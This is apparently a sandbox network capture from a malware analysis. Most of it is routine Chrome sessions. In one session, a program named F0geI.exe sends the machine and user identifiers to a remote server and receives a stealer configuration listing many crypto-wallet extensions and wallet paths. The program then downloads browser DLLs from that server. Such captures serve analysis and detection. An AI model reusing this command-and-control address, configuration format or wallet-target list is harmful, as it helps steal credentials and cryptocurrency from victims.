11	192.168.2.4	49748	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49749	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49757	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49761	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49754	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49763	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49774	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49780	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49772	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49706	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49790	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49786	149.154.167.99	443	C:\Program Files (x86)\Company\NewProduct\real.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49819	142.250.180.170	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49826	142.251.209.35	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49829	104.22.1.232	443	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49830	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49743	45.95.11.158	80	C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Timestamp	kBytes transferred	Direction	Data
Aug 23, 2022 03:42:40.567636967 CEST	1053	OUT	POST / HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: mozzzzzzzzzzz Host: 45.95.11.158 Content-Length: 94 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6d 61 63 68 69 6e 65 49 64 3d 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 7c 6a 6f 6e 65 73 26 63 6f 6e 66 69 67 49 64 3d 37 36 34 32 36 63 33 66 33 36 32 66 35 61 34 37 61 34 36 39 66 30 65 39 64 38 62 63 33 65 65 66 Data Ascii: machineId=d06ed635-68f6-4e9a-955c-4899f5f57b9a\|user&configId=76426c3f362f5a47a469f0e9d8bc3eef
Aug 23, 2022 03:42:40.732975006 CEST	1057	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 5507 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"1583-++z/TkLGz50wsc2MmwcWzYMaiWQ" Data Raw: 6c 69 62 73 5f 6e 73 73 33 3a 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 31 2e 31 35 38 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6e 73 73 33 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 73 76 63 70 31 34 30 3a 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 31 2e 31 35 38 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 73 76 63 70 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 76 63 72 75 6e 74 69 6d 65 31 34 30 3a 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 31 2e 31 35 38 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 76 63 72 75 6e 74 69 6d 65 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 6d 6f 7a 67 6c 75 65 3a 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 31 2e 31 35 38 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 Data Ascii: libs_nss3:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dlllibs_msvcp140:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlllibs_vcruntime140:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlllibs_mozglue:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP
Aug 23, 2022 03:42:40.733016014 CEST	1059	IN	Data Raw: 37 68 4c 32 76 4b 2f 6d 6f 7a 67 6c 75 65 2e 64 6c 6c 0a 6c 69 62 73 5f 66 72 65 65 62 6c 33 3a 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 31 2e 31 35 38 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 Data Ascii: 7hL2vK/mozglue.dlllibs_freebl3:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlllibs_softokn3:http://45.95.11.158/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extensi
Aug 23, 2022 03:42:40.733036995 CEST	1060	IN	Data Raw: 20 49 6e 66 6f 2e 74 78 74 3a 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 0a 7c 49 6e 73 74 61 6c 6c 65 64 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 3a 0a 7c 0a 77 6c 74 73 5f 64 61 65 64 61 6c 75 73 3a 44 61 65 64 61 6c 75 73 3b 32 Data Ascii: Info.txt:System Information: \|Installed applications:\|wlts_daedalus:Daedalus;26;Daedalus Mainnet;;log,cache,chain,dictionarwlts_mymonero:MyMonero;26;MyMonero;;cachewlts_xmr:Monero;5;Monero\\wallets;.keys;-wlts_wasabi:Wasabi;26;W
Aug 23, 2022 03:42:40.733061075 CEST	1061	IN	Data Raw: 6e 68 6e 6b 62 6b 67 6a 69 6b 67 63 69 67 61 64 6f 6d 6b 70 68 61 6c 61 6e 6e 64 63 61 70 6a 6b 3b 43 6c 6f 76 65 72 57 61 6c 6c 65 74 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 70 6f 6c 79 6d 65 73 Data Ascii: nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settingsews_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settingsews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settingsews_kepl
Aug 23, 2022 03:42:40.733082056 CEST	1063	IN	Data Raw: 61 6b 68 68 6a 63 68 6b 6b 68 6d 69 67 67 61 6b 69 6a 6e 6b 68 66 6e 64 3b 54 4f 4e 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 43 6f 73 6d 6f 73 74 61 74 69 6f 6e 3a 66 70 6b 68 67 6d 70 62 69 64 6d Data Ascii: akhhjchkkhmiggakijnkhfnd;TON;Local Extension Settingsews_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settingsews_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settingsews_gamestopext:pkkjjap
Aug 23, 2022 03:42:40.799721003 CEST	1063	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:40.937143087 CEST	1067	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:40 GMT Content-Type: application/octet-stream Content-Length: 2042296 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:48 GMT ETag: "62543db4-1f29b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 53 57 56 8b 5d 0c 8b 75 08 8b 7e 0c 85 ff 74 40 8b 0d 70 e0 1d 10 ff 15 00 30 1e 10 57 ff d1 83 c4 04 8b 7e 0c 31 c0 85 db 0f Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!&`@A!\T@@xPhh\!@.texti `.rdata@@.dataN*@.00cfg0@@.rsrcx@@@.relochP@BUSWV]u~t@p0W~1
Aug 23, 2022 03:42:40.937180996 CEST	1068	IN	Data Raw: 94 c0 c1 e0 08 48 89 46 44 85 ff 74 12 8b 0d 78 e0 1d 10 ff 15 00 30 1e 10 57 ff d1 83 c4 04 31 c0 5e 5f 5b 5d c3 31 c0 85 db 0f 94 c0 c1 e0 08 48 89 46 44 eb e9 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 83 ec 10 8b 75 08 81 fe 33 27 Data Ascii: HFDtx0W1^_[]1HFDUWVu3'u7=tal$`t:x(p,@0^_]~28wm$x($I"oOI&
Aug 23, 2022 03:42:40.937206030 CEST	1070	IN	Data Raw: ec b9 20 00 00 00 2b 4b 08 31 ff 89 4d e8 8b 03 8b 34 b8 85 f6 75 0b 47 89 f8 d3 e8 85 c0 74 ee eb 27 8b 1e 8b 45 f0 8b 48 0c ff 15 00 30 1e 10 6a 01 56 ff 75 ec ff d1 8b 4d e8 83 c4 0c 89 de 85 db 8b 5d 08 74 d0 eb d9 8b 7d f0 8b 4f 04 8b 33 ff Data Ascii: +K1M4uGt'EH0jVuM]t}O30VuVO0SV^_[]U}uu]Uu]UVEMUjuVPu^]USWV
Aug 23, 2022 03:42:40.937217951 CEST	1070	IN	Data Raw: 83 e1 db 09 c1 89 4c 1a 14 8b 44 1e 14 83 e0 10 83 e1 eb 09 c1 89 4c 1a 14 8b 44 1e 18 89 44 1a 18 8b 45 d4 40 83 c3 14 3b 06 8b 4d ec 0f 8c 6a ff ff ff e9 28 fe ff ff 57 e8 2d d3 19 00 83 c4 04 89 c2 42 8b 4d ec 85 c9 89 7d e4 89 55 d8 0f 84 32 Data Ascii: LDLDDE@;Mj(W-BM}U2E9w"wp
Aug 23, 2022 03:42:40.937237024 CEST	1071	IN	Data Raw: 8b b9 50 01 00 00 85 ff 74 5c 8b 07 89 81 50 01 00 00 ff 81 38 01 00 00 eb 33 83 b9 28 01 00 00 00 0f 84 b1 00 00 00 80 79 53 00 0f 85 3c 01 00 00 6a 00 e8 f0 d5 13 00 83 c4 04 89 c7 85 c0 8b 55 f0 b8 00 00 00 00 0f 84 25 ff ff ff ff 75 d8 ff 75 Data Ascii: Pt\P83(yS<jU%uuWULu6HuDu<@HyLL_DDE<<N.PU
Aug 23, 2022 03:42:40.937256098 CEST	1073	IN	Data Raw: 00 00 e9 b1 fc ff ff 8b 45 e8 8b 50 14 89 f9 53 e8 09 02 07 00 e9 fa fe ff ff 8b 01 89 87 44 01 00 00 e9 91 fc ff ff ff 87 3c 01 00 00 e9 5e ff ff ff 8b 4d e0 89 d0 8b 55 e4 ff 70 2c e8 6c 96 16 00 8b 4d e4 83 c4 04 89 41 2c e9 ed fd ff ff 31 c9 Data Ascii: EPSD<^MUp,lMA,1USWVP11U4t%?t Guu1GuGtPU%?tOU\|U1u
Aug 23, 2022 03:42:40.937280893 CEST	1074	IN	Data Raw: 01 00 8b 0f eb bc ff 15 00 30 1e 10 53 ff d1 83 c4 04 e9 51 ff ff ff 8b 76 10 eb 91 31 f6 eb 8d ff 15 00 30 1e 10 57 ff d1 83 c4 04 eb b3 cc cc cc cc cc cc 55 89 e5 53 57 56 89 d3 89 ce 0f b7 41 08 0f b7 c8 f6 c1 12 74 4c 0f ba e1 0e 72 64 83 c8 Data Ascii: 0SQv10WUSWVAtLrdfFF9tuTF%ft!8^u"F^_[]jB61I11uFFt.1uUVQj
Aug 23, 2022 03:42:43.564244032 CEST	3264	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:43.706528902 CEST	3266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:43 GMT Content-Type: application/octet-stream Content-Length: 449280 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:42 GMT ETag: "62543dae-6db00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 00 10 b0 a3 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL(["!(`@@Agr?=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B0p0
Aug 23, 2022 03:42:46.604538918 CEST	3752	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:46.745121956 CEST	3754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:46 GMT Content-Type: application/octet-stream Content-Length: 80128 Connection: keep-alive Last-Modified: Sat, 28 May 2022 16:52:46 GMT ETag: "6292535e-13900" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 27 00 00 02 e0 27 00 00 02 60 2d 00 00 02 e0 32 00 00 02 40 34 00 00 02 70 35 00 00 02 b0 36 00 00 02 28 39 00 00 01 f8 39 00 00 01 04 3b 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL(["!0t(@A? 8 @.text `.data@.idata@@.rsrc@@.reloc @B0''`-2@4p56(99;
